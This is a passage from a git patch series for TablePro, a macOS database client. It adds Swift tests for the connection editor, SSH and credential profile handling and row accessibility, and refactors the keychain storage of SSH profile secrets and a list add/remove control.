deletedRecordIsRefusedBeforeSecrets() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + fixture.storage.deleteConnection(connection) + fixture.keychain.resetWriteCount() + store.update { $0.credentials.password = "changed" } + #expect(store.save() == .failure(.recordMissing)) + #expect(fixture.keychain.writeCount == 0) + } + + // MARK: - Merge + + @Test("A change made elsewhere while the editor is open survives its Save") + func concurrentEditSurvivesSave() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.name = "Renamed in Welcome" + elsewhere.commitMode = .manual + elsewhere.preferredSafeModeLevel = .safeMode + fixture.seed([elsewhere]) + fixture.events.connectionUpdated.send(connection.id) + + store.update { $0.host = "replica.example.com" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed in Welcome") + #expect(saved.commitMode == .manual) + #expect(saved.preferredSafeModeLevel == .safeMode) + #expect(saved.host == "replica.example.com") + } + + @Test("A connection deleted elsewhere turns the editor into the missing state") + func deletionElsewhereShowsMissing() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + fixture.storage.deleteConnection(connection) + fixture.events.connectionUpdated.send(nil) + #expect(store.isRecordMissing) + } + + // MARK: - Profiles + + @Test("An SSH profile this Mac lacks stays linked through a Save, and no SSH secret is deleted") + func unresolvedSSHProfileStaysLinked() throws { + let fixture = try ConnectionEditorStoreFixture() + let profileId = UUID() + var connection = postgres() + connection.sshProfileId = profileId + connection.sshTunnelMode = .profile(id: profileId, snapshot: SSHConfiguration(enabled: true, host: "bastion")) + fixture.seed([connection]) + fixture.storage.saveSSHPassword("tunnel-secret", for: connection.id) + + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.sshProfileIsUnresolved) + #expect(store.issues.contains { $0.row == .builtIn(.sshProfileMissing) && !$0.blocksSave }) + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.sshProfileId == profileId) + guard case .profile(let id, let snapshot) = saved.sshTunnelMode else { + Issue.record("The link was converted: \(saved.sshTunnelMode)") + return + } + #expect(id == profileId) + #expect(snapshot.host == "bastion") + #expect(fixture.storage.loadSSHPassword(for: connection.id) == "tunnel-secret") + } + + @Test("A profile deleted in Settings while the editor is open is adopted inline with its password") + func deletedSSHProfileIsAdoptedInline() throws { + let fixture = try ConnectionEditorStoreFixture() + let profile = SSHProfile(name: "Bastion", host: "bastion.example.com", username: "ops") + #expect(fixture.sshProfiles.addProfile(profile)) + #expect(fixture.sshProfiles.saveSSHPassword("profile-secret", for: profile.id)) + var connection = postgres() + connection.sshProfileId = profile.id + connection.sshTunnelMode = .profile(id: profile.id, snapshot: profile.toSSHConfiguration()) + fixture.seed([connection]) + + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.ssh.profileId == profile.id) + #expect(fixture.sshProfiles.deleteProfile(profile)) + #expect(store.draft.ssh.profileId == nil) + #expect(store.draft.ssh.host == "bastion.example.com") + #expect(store.draft.ssh.password == "profile-secret") + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.sshProfileId == nil) + #expect(fixture.storage.loadSSHPassword(for: connection.id) == "profile-secret") + } + + @Test("A credential profile deleted elsewhere is dropped by the store, whichever facet is shown") + func deletedCredentialProfileIsDropped() throws { + let fixture = try ConnectionEditorStoreFixture() + let profile = CredentialProfile(name: "Shared", username: "shared") + #expect(fixture.credentialProfiles.addProfile(profile)) + var connection = postgres() + connection.credentialMode = .profile(id: profile.id) + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + store.selectedFacet = .advanced + #expect(store.draft.credentials.mode == .profile(id: profile.id)) + #expect(fixture.credentialProfiles.deleteProfile(profile)) + #expect(store.draft.credentials.mode == .inline) + } + + // MARK: - Delete + + @Test("A delete that cannot be written is reported and the window stays") + func failedDeleteIsReported() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + var dismissed = false + store.dismissAction = { dismissed = true } + try fixture.makeLibraryReadOnly(true) + guard case .failure(let error) = store.delete() else { + Issue.record("The delete reported success") + return + } + #expect(error == .writeFailed) + #expect(!dismissed) + #expect(store.deleteError == .writeFailed) + try fixture.makeLibraryReadOnly(false) + } + + @Test("A delete cleans up what Welcome's delete cleans up") + func deleteCleansUp() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres() + fixture.seed([connection]) + fixture.recents.record(connection.id) + fixture.listPreferences.setFavoritesOrder([connection.id]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + var dismissed = false + store.dismissAction = { dismissed = true } + guard case .success = store.delete() else { + Issue.record("The delete failed") + return + } + #expect(dismissed) + #expect(fixture.storage.loadConnection(id: connection.id) == nil) + #expect(fixture.recents.lastConnected[connection.id] == nil) + #expect(!fixture.listPreferences.favoritesOrder.contains(connection.id)) + } + + // MARK: - Retype + + @Test("A retype cancels a running test, and closing deletes exactly what that test wrote") + func retypeCancelsTestAndCleansItsSecrets() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .snowflake, parsedURL: nil)) + let testId = UUID() + store.writeSecret(.pluginField("snowflakePassword"), value: "s3cret", for: testId) + store.pendingTestReceipts[testId] = TestSecretReceipt(testId: testId, items: [.pluginField("snowflakePassword")]) + store.testRun = TestRun( + id: UUID(), + testId: testId, + fingerprint: ConnectionEditorEngine.testFingerprint(store.draft, store.traits, originalTraits: nil, store.context) + ) + store.testState = .running + + store.retype(to: .sqlite) + #expect(store.testState == .idle) + #expect(store.testRun == nil) + store.teardown() + #expect(fixture.secretKeys(for: testId).isEmpty) + } + + @Test("Production defaults Safe Mode to Alert for a new connection until the user picks a level") + func productionDefaultInStore() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.setEnvironment(.production) + #expect(store.effectiveSafeModeLevel == .alert) + store.setEnvironment(.development) + #expect(store.effectiveSafeModeLevel == .silent) + store.setSafeModeLevel(.safeMode) + store.setEnvironment(.production) + #expect(store.effectiveSafeModeLevel == .safeMode) + } + + // MARK: - Transports + + @Test("Picking Cloudflare on a new connection starts the cloudflared lookup") + func cloudflaredDetectionStartsOnSelection() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + #expect(store.cloudflaredDetection == .notChecked) + store.selectTransport(.cloudflare) + #expect(store.cloudflaredDetection != .notChecked) + } + + // MARK: - URL + + @Test("Copy as URL carries no password and no secure field") + func copiedURLHasNoSecrets() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + let secureIds = store.traits.declaredSecureFieldIds + store.update { + $0.name = "Orders" + $0.host = "db.example.com" + $0.credentials.username = "app" + $0.credentials.password = "hunter2" + for fieldId in secureIds { + $0.fieldValues[fieldId] = "secret-\(fieldId)" + } + } + let url = store.connectionURLForCopy() + #expect(url.contains("db.example.com")) + #expect(!url.contains("hunter2")) + #expect(!url.contains("secret-")) + } + + @Test("A paste on a saved connection keeps Safe Mode and the name, and Undo restores the whole draft") + func pasteOnSavedConnection() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = postgres() + connection.preferredSafeModeLevel = .safeMode + fixture.seed([connection]) + fixture.storage.savePassword("original", for: connection.id) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + let before = store.draft + + let outcome = store.applyPastedURL("postgresql://ops:pw@db2.example.com/orders?safemodelevel=0&name=Other", undoManager: nil) + guard case .applied(let notice) = outcome else { + Issue.record("Not applied: \(outcome)") + return + } + #expect(notice.changes.contains(String(localized: "Host"))) + #expect(store.draft.host == "db2.example.com") + #expect(store.draft.credentials.password == "pw") + #expect(store.draft.name == "Orders") + #expect(store.draft.safety.safeModeLevel == .safeMode) + + store.undoPastedURL() + #expect(store.draft == before) + #expect(store.pastedURLNotice == nil) + } + + @Test("Typing into Host one character at a time never fills the form") + func typingIntoHostDoesNotFill() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { $0.host = "" } + var typed = "" + for character in "postgresql://app@db.example.com/orders" { + typed.append(character) + store.setHost(typed, undoManager: nil) + } + #expect(store.draft.host == "postgresql://app@db.example.com/orders") + #expect(store.pastedURLNotice == nil) + #expect(store.draft.database.isEmpty) + } +} diff --git a/apple/TableProTests/Views/Settings/Profiles/ProfileSecretLayoutTests.swift b/apple/TableProTests/Views/Settings/Profiles/ProfileSecretLayoutTests.swift new file mode 100644 index 0000000000..eb1d8c2cba --- /dev/null +++ b/apple/TableProTests/Views/Settings/Profiles/ProfileSecretLayoutTests.swift @@ -0,0 +1,89 @@ +// +// ProfileSecretLayoutTests.swift +// TableProTests +// + +import Foundation +import Testing + +@testable import TablePro +import TableProPluginKit + +// A credential profile has no database type, so its sheet shows one type's secrets at a time and keeps the ones a +// sign-in method needs under that method instead of listing AWS, Google Cloud and Kerberos keys for every engine. +struct ProfileSecretLayoutTests { + private static let methodPicker = ConnectionField( + id: "signIn", + label: "Authentication", + defaultValue: "off", + fieldType: .dropdown(options: [ + .init(value: "off", label: "Password"), + .init(value: "accessKey", label: "Access Key"), + .init(value: "kerberos", label: "Kerberos"), + ]), + section: .authentication + ) + + private static func secret(_ id: String, when values: [String]? = nil, controller: String = "signIn") -> ConnectionField { + ConnectionField( + id: id, + label: id, + secure: true, + section: .authentication, + visibleWhen: values.map { FieldVisibilityRule(fieldId: controller, values: $0) } + ) + } + + private static let fields = [ + methodPicker, + secret("apiKey"), + secret("secretAccessKey", when: ["accessKey"]), + secret("sessionToken", when: ["accessKey"]), + secret("kerberosPassword", when: ["kerberos"]), + ] + + @Test("The default sign-in method shows only the secrets every method needs") + func defaultMethodHidesMethodSecrets() { + let layout = ProfileSecretLayout(fields: Self.fields) + let method = layout.initialMethod(holding: []) + + #expect(layout.methodField?.id == "signIn") + #expect(method == "off") + #expect(layout.fields(for: method).map { $0.id } == ["apiKey"]) + } + + @Test("Picking a method adds that method's secrets and no other") + func methodShowsItsOwnSecrets() { + let layout = ProfileSecretLayout(fields: Self.fields) + + #expect(layout.fields(for: "accessKey").map { $0.id } == ["apiKey", "secretAccessKey", "sessionToken"]) + #expect(layout.fields(for: "kerberos").map { $0.id } == ["apiKey", "kerberosPassword"]) + #expect(layout.methods.map { $0.value } == ["off", "accessKey", "kerberos"]) + } + + @Test("A profile holding a method's secret opens on that method") + func heldSecretPicksItsMethod() { + let layout = ProfileSecretLayout(fields: Self.fields) + #expect(layout.initialMethod(holding: ["kerberosPassword"]) == "kerberos") + } + + @Test("Secrets gated by something other than a menu are listed directly") + func nonMenuGateListsEverything() { + let toggle = ConnectionField(id: "useToken", label: "Use Token", fieldType: .toggle) + let layout = ProfileSecretLayout(fields: [toggle, Self.secret("token", when: ["true"], controller: "useToken")]) + + #expect(layout.methodField == nil) + #expect(layout.initialMethod(holding: []) == nil) + #expect(layout.fields(for: nil).map { $0.id } == ["token"]) + } + + @Test("PostgreSQL's cloud and Kerberos secrets sit behind its Authentication menu") + func postgresSignInSecretsAreGrouped() { + let layout = ProfileSecretLayout(fields: KerberosAuthFields.standardWithAWSAndGoogleCloud()) + let method = layout.initialMethod(holding: []) + + #expect(layout.methodField?.id == "awsAuth") + #expect(layout.fields(for: method).isEmpty) + #expect(layout.fields(for: KerberosAuthFields.method).map { $0.id } == [KerberosAuthFields.passwordFieldId]) + } +} diff --git a/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift b/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift index 485e3c5f9b..6dced79012 100644 --- a/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift +++ b/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift @@ -104,7 +104,7 @@ struct WelcomeRowPresentationTests { return connection } - private func shared(iconName: String?) -> LinkedConnection { + private func shared(iconName: String?, additionalFields: [String: String]? = nil) -> LinkedConnection { let exportable = ExportableConnection( name: "Shared", host: "db.acme.io", @@ -119,7 +119,7 @@ struct WelcomeRowPresentationTests { sshProfileId: nil, safeModeLevel: nil, aiPolicy: nil, - additionalFields: nil, + additionalFields: additionalFields, redisDatabase: nil, startupCommands: nil, localOnly: nil @@ -158,8 +158,7 @@ struct WelcomeRowPresentationTests { #expect(unknown.iconName == Self.undrawableIcon) } - /// The tile draws `LibraryGlyph.connectionImage`, which takes the engine's glyph whenever this - /// resolves to nil. A name kept from a newer release must not draw an empty tile. + // The tile takes the engine's glyph whenever this is nil, so a name from a newer release never draws an empty tile. @Test("A tile falls back to the engine for no icon or one this Mac cannot draw") func tileFallsBackToEngine() { #expect(LibraryGlyph.customSymbol(nil) == nil) @@ -196,7 +195,7 @@ struct WelcomeRowPresentationTests { #expect(row.groupLabel?.symbolName == LibraryGlyph.groupSymbol(Self.customIcon)) } - /// A custom icon replaces the engine logo, so the tooltip is where the engine stays visible. + // A custom icon replaces the engine logo, so the tooltip is where the engine stays visible. @Test("The tooltip names the engine, for a saved and for a shared connection") func tooltipNamesEngine() { let saved = WelcomeRowPresentation.tooltip( @@ -228,8 +227,7 @@ struct WelcomeRowPresentationTests { #expect(engine.isTemplate) } - /// CockroachDB's logo is a 2500pt artboard. The rename field's image view is constrained in width - /// only, so an unfitted logo would take that as its height and spill over the rows around it. + // CockroachDB's logo is a 2500pt artboard, which the width-only rename image view would take as its height. @Test("An engine logo in the rename field fits the glyph's 16pt box") func renameGlyphFitsTheField() throws { let side = WelcomeRowPresentation.renameGlyphSide @@ -239,4 +237,87 @@ struct WelcomeRowPresentationTests { #expect(glyph.size.width > 0 && glyph.size.height > 0, "\(type.rawValue)") } } + + // MARK: - Environment + + private func withEnvironment(_ environment: ConnectionEnvironment) -> DatabaseConnection { + var connection = makeConnection(iconName: nil) + connection.additionalFields[ConnectionEnvironment.fieldKey] = environment.rawValue + return connection + } + + private func savedRow(_ connection: DatabaseConnection) -> WelcomeConnectionRowModel { + WelcomeRowPresentation.savedConnection( + connection, section: .connections, tags: [], group: nil, groupPath: [], isDriverRejected: false + ) + } + + private func row(status: ConnectionDisplayStatus) -> WelcomeConnectionRowModel { + WelcomeConnectionRowModel( + id: UUID(), + name: "Prod", + detail: "db.acme.io/app", + type: .postgresql, + iconName: nil, + identityColor: nil, + environment: .production, + tags: [], + hiddenTagCount: 0, + groupLabel: nil, + isLocalOnly: false, + isDriverRejected: false, + tooltip: "", + status: status + ) + } + + @Test("A saved row carries its environment, and a connection without one shows none") + func savedRowCarriesEnvironment() { + #expect(savedRow(withEnvironment(.production)).environment == .production) + #expect(savedRow(withEnvironment(.local)).environment == .local) + #expect(savedRow(makeConnection(iconName: nil)).environment == .none) + } + + @Test("A linked row reads the environment from its file") + func sharedRowCarriesEnvironment() { + let staging = shared(iconName: nil, additionalFields: [ConnectionEnvironment.fieldKey: "staging"]) + let plain = shared(iconName: nil) + + #expect(WelcomeRowPresentation.sharedConnection(staging, section: .linkedFolders).environment == .staging) + #expect(WelcomeRowPresentation.sharedConnection(plain, section: .linkedFolders).environment == .none) + } + + @Test("VoiceOver reads the environment with the name and the engine, and nothing for none") + func accessibilityLabelNamesEnvironment() { + #expect(savedRow(withEnvironment(.production)).accessibilityLabel == "Prod, PostgreSQL, Production environment") + #expect(savedRow(withEnvironment(.development)).accessibilityLabel == "Prod, PostgreSQL, Development environment") + #expect(savedRow(makeConnection(iconName: nil)).accessibilityLabel == "Prod, PostgreSQL") + } + + @Test("The accessibility value keeps what the row shows: flags, endpoint, group and tags") + func accessibilityValueKeepsRowContent() { + let group = ConnectionGroup(name: "Acme") + var connection = DatabaseConnection(name: "Prod", host: "db.acme.io", database: "app", type: .postgresql) + connection.localOnly = true + connection.groupId = group.id + let model = WelcomeRowPresentation.savedConnection( + connection, + section: .favorites, + tags: [tag("api"), tag("eu"), tag("billing")], + group: group, + groupPath: ["Acme"], + isDriverRejected: true + ) + + #expect(model.accessibilityValue.components(separatedBy: ", ") + == ["Plugin not loaded", "Local only", model.detail, "Acme", "api", "eu", "+1"]) + } + + @Test("A row reads its status only while it shows a mark") + func accessibilityValueReadsVisibleStatus() { + #expect(row(status: .connecting).accessibilityValue == "Connecting, db.acme.io/app") + #expect(row(status: .failed(cause: nil)).accessibilityValue == "Couldn't connect, db.acme.io/app") + #expect(row(status: .connected).accessibilityValue == "db.acme.io/app") + #expect(row(status: .notConnected).accessibilityValue == "db.acme.io/app") + } } From 04671ac34b1824f388fbd817c9f02c249d18056a Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Sun, 22 Nov 2026 20:04:42 +0700 Subject: [PATCH 02/13] wip(connection-editor): take profile editors from the Settings revamp, import its form components --- .../Core/Storage/SSHProfileStorage.swift | 204 ++++------- .../Components/AddRemoveControlGroup.swift | 104 ++++-- .../Connection/SSHProfileEditorView.swift | 225 +++++------- .../Settings/Components/SettingsFormat.swift | 38 +++ .../Components/SettingsFullPageList.swift | 46 +++ .../Settings/Components/SettingsListBar.swift | 252 ++++++++++++++ .../Components/SettingsNumberField.swift | 161 +++++++++ .../Components/SettingsTextDraft.swift | 68 ++++ .../Components/SettingsTextField.swift | 65 ++++ .../CredentialProfileEditorSheet.swift | 320 ++++++------------ .../Storage/SSHProfileSecretSaveTests.swift | 147 -------- .../Core/Storage/StoredSecretDraftTests.swift | 69 ---- .../Profiles/ProfileSecretLayoutTests.swift | 89 ----- 13 files changed, 956 insertions(+), 832 deletions(-) create mode 100644 apple/TablePro/Views/Settings/Components/SettingsFormat.swift create mode 100644 apple/TablePro/Views/Settings/Components/SettingsFullPageList.swift create mode 100644 apple/TablePro/Views/Settings/Components/SettingsListBar.swift create mode 100644 apple/TablePro/Views/Settings/Components/SettingsNumberField.swift create mode 100644 apple/TablePro/Views/Settings/Components/SettingsTextDraft.swift create mode 100644 apple/TablePro/Views/Settings/Components/SettingsTextField.swift delete mode 100644 apple/TableProTests/Core/Storage/SSHProfileSecretSaveTests.swift delete mode 100644 apple/TableProTests/Core/Storage/StoredSecretDraftTests.swift delete mode 100644 apple/TableProTests/Views/Settings/Profiles/ProfileSecretLayoutTests.swift diff --git a/apple/TablePro/Core/Storage/SSHProfileStorage.swift b/apple/TablePro/Core/Storage/SSHProfileStorage.swift index 71ed992076..455d73840f 100644 --- a/apple/TablePro/Core/Storage/SSHProfileStorage.swift +++ b/apple/TablePro/Core/Storage/SSHProfileStorage.swift @@ -16,19 +16,6 @@ final class SSHProfileStorage { static let shared = SSHProfileStorage() nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "SSHProfileStorage") - enum SecretKind: CaseIterable, Sendable { - case password - case keyPassphrase - case totpSecret - } - - enum SaveOutcome: Equatable, Sendable { - case saved - case recordNotSaved - // The record is on disk; these secrets are not. - case secretsNotSaved([SecretKind]) - } - private let profilesKey = "com.TablePro.sshProfiles" private let defaults: UserDefaults private let encoder = JSONEncoder() @@ -38,7 +25,9 @@ final class SSHProfileStorage { private let syncTracker: SyncChangeTracker private(set) var lastLoadFailed = false - // The keychain comes from AppStorageEnvironment so a sandboxed run keeps profile secrets in its sandbox. + /// The keychain arrives through `AppStorageEnvironment` rather than as `KeychainHelper.shared`, + /// so a sandboxed run keeps its profile secrets inside the sandbox instead of writing them to + /// the real login keychain, exactly as `ConnectionStorage` already does. init( userDefaults: UserDefaults = AppStorageEnvironment.shared.defaults, keychain: any KeychainStoring = AppStorageEnvironment.shared.keychain, @@ -70,6 +59,8 @@ final class SSHProfileStorage { } } + /// Returns `false` when nothing reached disk, so a caller that also writes keychain items or + /// tombstones can abort instead of stranding them against a profile that was never persisted. @discardableResult func saveProfiles(_ profiles: [SSHProfile]) -> Bool { let previous = loadProfiles() @@ -110,34 +101,15 @@ final class SSHProfileStorage { guard let index = profiles.firstIndex(where: { $0.id == profile.id }) else { return false } profiles[index] = profile guard saveProfiles(profiles) else { return false } - // Best effort: a connection the fan-out missed is still resolved against the profile at connect time. + /// Best effort, and deliberately not part of the result. The profile is the source of + /// truth and it is saved; a connection whose snapshot could not be rewritten is still + /// resolved against the profile by `refreshingLinkedProfile` at connect time. if !refreshLinkedConnections(with: profile) { Self.logger.error("Saved SSH profile \(profile.id.uuidString, privacy: .public) but could not update the connections linked to it") } return true } - // Record first: a secret written under an id that never reached disk is one nothing can name. - func save(_ profile: SSHProfile, isNew: Bool, secrets: [SecretKind: StoredSecretDraft.Change]) -> SaveOutcome { - let persisted = isNew ? addProfile(profile) : updateProfile(profile) - guard persisted else { return .recordNotSaved } - - var failed: [SecretKind] = [] - for kind in SecretKind.allCases { - switch secrets[kind] ?? .keep { - case .keep: - continue - case .write(let value): - if !keychain.writeString(value, forKey: Self.key(kind, profile.id)) { - failed.append(kind) - } - case .delete: - keychain.delete(forKey: Self.key(kind, profile.id)) - } - } - return failed.isEmpty ? .saved : .secretsNotSaved(failed) - } - @discardableResult func deleteProfile(_ profile: SSHProfile) -> Bool { var profiles = loadProfiles() @@ -157,7 +129,12 @@ final class SSHProfileStorage { // MARK: - Linked Connections - // A linked connection tunnels with its stored snapshot, so an edited host has to reach every snapshot. + /// Writes an edited profile's configuration into every connection that links to it. + /// + /// A linked connection stores `.profile(id:snapshot:)`, and that snapshot is what + /// `resolvedSSHConfig` hands to the tunnel, the URL formatter, the display strings and the + /// stage labels. Only the secrets were ever resolved live, so changing a profile's host left + /// every already-linked connection tunnelling to the old one while sending the new password. @discardableResult func refreshLinkedConnections(with profile: SSHProfile, byUser: Bool = true) -> Bool { let storage = connectionStorageProvider() @@ -171,7 +148,11 @@ final class SSHProfileStorage { } } - // Covers a profile synced from another Mac before any fan-out ran here. + /// The connection as it would be if the fan-out above had already run for it. + /// + /// The fan-out covers an edit made here. This covers the window before one has run: a profile + /// edited on another Mac and synced down, or a connection whose store could not be written. + /// Connecting is the moment the answer has to be right, so it asks the profile directly. func refreshingLinkedProfile(_ connection: DatabaseConnection) -> DatabaseConnection { guard case .profile(let profileId, _) = connection.sshTunnelMode, let profile = profile(for: profileId) @@ -179,8 +160,16 @@ final class SSHProfileStorage { return profile.applied(to: connection) } - // Converts from the profile as it stands, never the snapshot: a stale snapshot would send new - // credentials to the old server. Refuses when the secrets cannot move, since nothing could recover them. + /// Turns every connection pointing at a profile that is going away into an inline tunnel + /// carrying the same configuration, so a delete never leaves a connection addressing a profile + /// id that no longer resolves. + /// + /// The configuration comes from the profile as it stands now, never from the connection's + /// stored snapshot: a snapshot the fan-out never reached is stale, and converting that one + /// while handing over the profile's current password would send new credentials to the old + /// server. Returns false without changing anything when the secrets cannot be moved, because a + /// connection converted without them cannot authenticate and there is nothing left to recover + /// them from once the profile is deleted. @discardableResult func unlinkConnections(fromProfile profile: SSHProfile) -> Bool { let storage = connectionStorageProvider() @@ -205,7 +194,10 @@ final class SSHProfileStorage { connection.sshProfileId = nil } - // A connection still on the profile never reads its inline namespace, so the copies go back. + /// The copies go back if the conversion did not land. A connection still in profile mode + /// reads its secrets from the profile, so the copy would sit in its inline namespace with + /// nothing reading it. Deleting is safe there because the form already clears that + /// namespace on every save a profile-linked connection makes. if !converted { for connection in linked { storage.deleteSSHPassword(for: connection.id) @@ -216,6 +208,8 @@ final class SSHProfileStorage { return converted } + /// A profile's secrets on their way into a connection's own keychain namespace, which is where + /// an inline tunnel reads them from. private struct ProfileSecrets { let password: String? let keyPassphrase: String? @@ -230,41 +224,43 @@ final class SSHProfileStorage { } } - // Nil when any secret could not be read; a profile with none reads as three nils. - private func readSecrets(for profileId: UUID) -> ProfileSecrets? { - var values: [SecretKind: String] = [:] - for kind in SecretKind.allCases { - switch storedSecret(kind, for: profileId) { - case .unreadable: - return nil - case .absent: - continue - case .value(let value): - values[kind] = value - } - } - return ProfileSecrets( - password: values[.password], - keyPassphrase: values[.keyPassphrase], - totpSecret: values[.totpSecret] - ) + private enum SecretRead { + case readable(String?) + case unreadable } - func storedSecret(_ kind: SecretKind, for profileId: UUID) -> StoredSecretDraft.Stored { - StoredSecretDraft.Stored(keychain.readStringResult(forKey: Self.key(kind, profileId))) + /// Nil when any of the three could not be read. A profile that simply has none reads as three + /// nils, which is correct for agent and keyless authentication. + private func readSecrets(for profileId: UUID) -> ProfileSecrets? { + guard case .readable(let password) = readSecret(Self.passwordKey(profileId)), + case .readable(let keyPassphrase) = readSecret(Self.passphraseKey(profileId)), + case .readable(let totpSecret) = readSecret(Self.totpKey(profileId)) + else { return nil } + return ProfileSecrets(password: password, keyPassphrase: keyPassphrase, totpSecret: totpSecret) + } + + private func readSecret(_ key: String) -> SecretRead { + switch keychain.readStringResult(forKey: key) { + case .found(let value): + return .readable(value.isEmpty ? nil : value) + case .notFound: + return .readable(nil) + case .locked, .userCancelled, .authFailed, .error: + return .unreadable + } } - // Every item this type writes: a key missing here outlives its owner with nothing left to name it. + /// Every keychain item this type writes, removed together. A key written here and missing from + /// this list is a secret that outlives its owner with nothing left that can name it. func deleteSecrets(for profileId: UUID) { - for kind in SecretKind.allCases { - keychain.delete(forKey: Self.key(kind, profileId)) - } + deleteSSHPassword(for: profileId) + deleteKeyPassphrase(for: profileId) + deleteTOTPSecret(for: profileId) } // MARK: - SSH Password Storage - @discardableResult - func saveSSHPassword(_ password: String, for profileId: UUID) -> Bool { + func saveSSHPassword(_ password: String, for profileId: UUID) { keychain.writeString(password, forKey: Self.passwordKey(profileId)) } @@ -278,8 +274,7 @@ final class SSHProfileStorage { // MARK: - Key Passphrase Storage - @discardableResult - func saveKeyPassphrase(_ passphrase: String, for profileId: UUID) -> Bool { + func saveKeyPassphrase(_ passphrase: String, for profileId: UUID) { keychain.writeString(passphrase, forKey: Self.passphraseKey(profileId)) } @@ -297,8 +292,7 @@ final class SSHProfileStorage { // MARK: - TOTP Secret Storage - @discardableResult - func saveTOTPSecret(_ secret: String, for profileId: UUID) -> Bool { + func saveTOTPSecret(_ secret: String, for profileId: UUID) { keychain.writeString(secret, forKey: Self.totpKey(profileId)) } @@ -310,14 +304,6 @@ final class SSHProfileStorage { keychain.delete(forKey: Self.totpKey(profileId)) } - private static func key(_ kind: SecretKind, _ profileId: UUID) -> String { - switch kind { - case .password: passwordKey(profileId) - case .keyPassphrase: passphraseKey(profileId) - case .totpSecret: totpKey(profileId) - } - } - private static func passwordKey(_ profileId: UUID) -> String { "com.TablePro.sshprofile.password.\(profileId.uuidString)" } @@ -335,63 +321,3 @@ final class SSHProfileStorage { .value(label: "\(label) (profileId=\(profileId.uuidString))", logger: Self.logger) } } - -// A secret as the Keychain returned it and as the user left it, so a failed read never becomes a delete. -struct StoredSecretDraft: Equatable, Sendable { - enum Stored: Equatable, Sendable { - case absent - case value(String) - case unreadable - - init(_ result: KeychainStringResult) { - switch result { - case .found(let value): self = value.isEmpty ? .absent : .value(value) - case .notFound: self = .absent - case .locked, .userCancelled, .authFailed, .error: self = .unreadable - } - } - } - - enum Change: Equatable, Sendable { - case keep - case write(String) - case delete - } - - let stored: Stored - var text: String - var removesUnreadable = false - - init(stored: Stored, fallback: String? = nil) { - self.stored = stored - if case .value(let value) = stored { - text = value - } else { - text = fallback ?? "" - } - } - - var showsUnreadableNotice: Bool { - stored == .unreadable && text.isEmpty - } - - // Whether a Keychain item will exist for this secret after the change runs. - func keepsItem(inUse: Bool) -> Bool { - switch change(inUse: inUse) { - case .write: true - case .delete: false - case .keep: stored != .absent - } - } - - func change(inUse: Bool) -> Change { - if inUse, !text.isEmpty { - return stored == .value(text) ? .keep : .write(text) - } - switch stored { - case .absent: return .keep - case .value: return .delete - case .unreadable: return removesUnreadable ? .delete : .keep - } - } -} diff --git a/apple/TablePro/Views/Components/AddRemoveControlGroup.swift b/apple/TablePro/Views/Components/AddRemoveControlGroup.swift index 3311733336..729a965f46 100644 --- a/apple/TablePro/Views/Components/AddRemoveControlGroup.swift +++ b/apple/TablePro/Views/Components/AddRemoveControlGroup.swift @@ -2,19 +2,17 @@ // AddRemoveControlGroup.swift // TablePro // -// The add/remove pair that sits under a list, which is where macOS puts a list's own +/-. -// Shared by the structure editor's footer and the Users & Roles list. -// +import AppKit import SwiftUI +// Borderless glyphs split by a separator, as System Settings draws a list's bar; the navigation ControlGroup is back and forward. struct AddRemoveControlGroup: View { let addLabel: String let removeLabel: String var canAdd = true var canRemove = true - /// What the tooltip says. Defaults to the label; a withheld control sets it to the reason - /// instead, which is the only place a disabled button has to explain itself. + // A withheld control sets its help to the reason, the only place a disabled button explains itself. var addHelp: String? var removeHelp: String? var addIdentifier: String? @@ -23,27 +21,89 @@ struct AddRemoveControlGroup: View { let onRemove: () -> Void var body: some View { - ControlGroup { - Button(action: onAdd) { - Label(addLabel, systemImage: "plus") - .labelStyle(.iconOnly) - } - .help(addHelp ?? addLabel) - .accessibilityLabel(addLabel) - .accessibilityIdentifier(addIdentifier ?? "") + HStack(spacing: 0) { + ListBarButton( + label: addLabel, + systemImage: "plus", + help: addHelp, + identifier: addIdentifier, + action: onAdd + ) .disabled(!canAdd) - Button(action: onRemove) { - Label(removeLabel, systemImage: "minus") - .labelStyle(.iconOnly) - } - .help(removeHelp ?? removeLabel) - .accessibilityLabel(removeLabel) - .accessibilityIdentifier(removeIdentifier ?? "") + ListBarSeparator() + + ListBarButton( + label: removeLabel, + systemImage: "minus", + 